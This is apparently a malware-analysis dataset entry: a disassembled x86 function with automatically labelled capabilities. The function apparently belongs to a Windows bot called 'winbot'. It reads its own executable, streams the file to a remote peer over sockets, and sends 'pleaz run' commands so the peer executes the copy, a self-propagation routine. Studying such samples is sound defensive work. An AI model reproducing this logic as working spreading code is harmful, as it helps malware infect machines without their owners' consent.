Function at 0x40becb
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
mov dword [esp], 0x42a1e0
call sym._memset
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0x42a1e0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x538], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], str.version
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strlen
cmp eax, 5
jbe 0x40bff2
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strlen
sub eax, 2
mov byte [ebp + eax - 0x430], 0
mov dword [esp + 4], 0xa0d
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40bff2
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0
mov dword [esp + 4], 0x4251fe
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0x24], eax
mov dword [esp + 4], str.ver1.5
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40c033
mov dword [ebp - 0x18], 1
mov dword [esp + 8], str.winbot.exe
mov dword [esp + 4], str.C:_s
lea eax, [ebp - 0x534]
mov dword [esp], eax
call sym._sprintf
cmp dword [ebp - 0x10], 0
jne 0x40c05e
mov dword [ebp - 0x10], 0x387
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._create_sock
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40c3ff
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x42a1e0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40c402
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._memset
cmp dword [ebp - 0x18], 0
je 0x40c133
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x534]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd_003__s_i_n_r
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._sprintf
jmp 0x40c153
lea eax, [ebp - 0x534]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_r1
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jle 0x40c405
jmp 0x40c2dc
mov dword [ebp - 0x1c], 0x400
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xc], eax
jae 0x40c1f1
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
neg eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x538]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x40c29e
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x40c408
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], 0
jne 0x40c2dc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jle 0x40c40b
cmp dword [ebp - 0xc], 0
jne 0x40c1be
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40c2fc
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x534]
mov dword [esp + 8], eax
mov dword [esp + 4], str.pleaz_run_s
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jle 0x40c40e
mov dword [esp + 4], str.pleaz_run_done
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40c411
mov dword [esp], 0xfa0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 1
jmp 0x40c437
nop
jmp 0x40c412
nop
jmp 0x40c412
nop
jmp 0x40c412
nop
jmp 0x40c412
nop
jmp 0x40c412
nop
jmp 0x40c412
nop
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
leave
ret